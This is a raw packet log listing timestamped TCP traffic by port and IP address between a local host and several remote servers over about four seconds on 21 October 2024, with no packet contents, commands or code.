Oct 21, 2024 13:17:57.889014006 CEST	49964	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.889020920 CEST	443	49964	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.892200947 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.892241001 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:57.892352104 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.894979954 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:57.894994020 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.017738104 CEST	80	49965	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:58.020611048 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.020641088 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.020874023 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.021155119 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.021167040 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.042618990 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.043800116 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.044429064 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.044446945 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.044550896 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.044574022 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.044948101 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.044954062 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.044970989 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.044979095 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.069554090 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.172775984 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.175477028 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.175494909 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.175894022 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.175909042 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.180095911 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.180124044 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.180188894 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.180238008 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.180272102 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.180664062 CEST	49966	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.180685043 CEST	443	49966	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.185192108 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.185218096 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.185277939 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.185334921 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.185369968 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.189446926 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.189472914 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.189485073 CEST	49967	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.189493895 CEST	443	49967	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.192488909 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.192528009 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.192600965 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.193639040 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.193682909 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.193759918 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.193820953 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.193835974 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.194089890 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.194104910 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.298568964 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.299114943 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.299125910 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.299572945 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.299588919 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.429301023 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.429357052 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.429404974 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.429487944 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.429507017 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.429519892 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.429740906 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.430995941 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.431024075 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.431080103 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.431113005 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.431133032 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.431233883 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.431247950 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.431334972 CEST	49969	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.431339979 CEST	443	49969	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.433795929 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.433832884 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.434003115 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.434148073 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.434159040 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.628324986 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.629807949 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.629844904 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.666448116 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.667045116 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.667062998 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.667524099 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.667531013 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.695800066 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.695812941 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.695877075 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.695883036 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.695977926 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.696074963 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.696074963 CEST	49968	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.696095943 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.696105003 CEST	443	49968	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.699134111 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.699178934 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.699270010 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.699424982 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.699441910 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.773992062 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.774071932 CEST	443	49971	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:58.774126053 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.774539948 CEST	49971	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:58.778827906 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.779423952 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.784873009 CEST	80	49965	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:58.784934998 CEST	49965	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.785022974 CEST	80	49976	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:58.785084009 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.785190105 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:58.790482044 CEST	80	49976	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:58.913674116 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.913737059 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.913789034 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.913837910 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.913868904 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.913938046 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.913938046 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.947674990 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.958125114 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.958143950 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.958636045 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:58.958643913 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:58.970861912 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.022543907 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.028121948 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.028134108 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.028589010 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.028594017 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.029272079 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.029313087 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.029386997 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.029427052 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.029427052 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.029493093 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.029584885 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.029584885 CEST	49970	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.029612064 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.029620886 CEST	443	49970	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.033160925 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.033198118 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.033303976 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.033402920 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.033413887 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.090560913 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.090581894 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.090678930 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.090687037 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.090780973 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.093791008 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.093810081 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.093823910 CEST	49973	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.093833923 CEST	443	49973	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.159797907 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.159833908 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.159918070 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.167265892 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.167277098 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167321920 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167351007 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167360067 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167408943 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.167424917 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167437077 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.167463064 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.167494059 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.171010971 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.171029091 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.171039104 CEST	49972	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.171045065 CEST	443	49972	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.172444105 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.174935102 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.174942970 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.181720018 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.181727886 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.187938929 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.187973022 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.188035011 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.188261986 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.188277006 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.307446003 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.307529926 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.307593107 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.310216904 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.310236931 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.310246944 CEST	49974	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.310252905 CEST	443	49974	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.315426111 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.315459013 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.315521002 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.315778971 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.315790892 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.459429979 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.464530945 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.464554071 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.465104103 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.465111971 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.593549013 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.593705893 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.593786955 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.593888998 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.593889952 CEST	49975	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.593919039 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.593951941 CEST	443	49975	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.595537901 CEST	80	49976	193.122.130.0	192.168.2.9
Oct 21, 2024 13:17:59.596846104 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:59.596877098 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:59.596959114 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:59.597230911 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:17:59.597263098 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:17:59.597311020 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.597340107 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.597398043 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.597569942 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.597580910 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.647500038 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:17:59.790321112 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.790819883 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.790838003 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.791358948 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.791363955 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924072027 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924227953 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924293041 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.924381971 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924571037 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.924580097 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924592018 CEST	49977	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.924596071 CEST	443	49977	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.924876928 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.924894094 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.925379992 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.925384998 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.925870895 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.926175117 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.926182985 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.926561117 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.926565886 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.927305937 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.927339077 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:17:59.927402020 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.927519083 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:17:59.927530050 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.043910980 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.045428038 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.045428038 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.045443058 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.045455933 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.059962988 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.060094118 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.060137033 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.060190916 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.060225010 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.060378075 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.060408115 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.060439110 CEST	49979	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.060446024 CEST	443	49979	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.062953949 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.063002110 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.063112020 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.063270092 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.063283920 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.175153971 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.175211906 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.175282955 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.175599098 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.175599098 CEST	49980	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.175614119 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.175622940 CEST	443	49980	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.218403101 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:00.221642971 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:00.221669912 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:00.270726919 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.270792961 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.270872116 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.271178007 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.271198988 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.271251917 CEST	49978	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.271271944 CEST	443	49978	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.332689047 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.333302021 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.333317995 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.333678961 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.333693027 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.359271049 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:00.359369040 CEST	443	49981	188.114.96.3	192.168.2.9
Oct 21, 2024 13:18:00.359524965 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:00.359939098 CEST	49981	443	192.168.2.9	188.114.96.3
Oct 21, 2024 13:18:00.363071918 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:00.364175081 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:00.368904114 CEST	80	49976	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:00.368973017 CEST	49976	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:00.370887041 CEST	80	49985	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:00.371104956 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:00.371254921 CEST	49985	80	192.168.2.9	193.122.130.0
Oct 21, 2024 13:18:00.377011061 CEST	80	49985	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:00.463040113 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.463109016 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.463258982 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.463855982 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.463855982 CEST	49982	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.463886023 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.463893890 CEST	443	49982	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.679661036 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.680258989 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.680288076 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.680718899 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.680723906 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.796159983 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.796793938 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.796821117 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.797230959 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.797236919 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.812236071 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.812650919 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.812715054 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.812769890 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.812788010 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.812798977 CEST	49983	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.812803984 CEST	443	49983	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.925704002 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.925767899 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.925885916 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.926119089 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.926130056 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:00.926140070 CEST	49984	443	192.168.2.9	13.107.246.45
Oct 21, 2024 13:18:00.926145077 CEST	443	49984	13.107.246.45	192.168.2.9
Oct 21, 2024 13:18:01.505944967 CEST	80	49985	193.122.130.0	192.168.2.9
Oct 21, 2024 13:18:01.507488966 CEST	49986	443	192.168.2.9	188.114.96.3
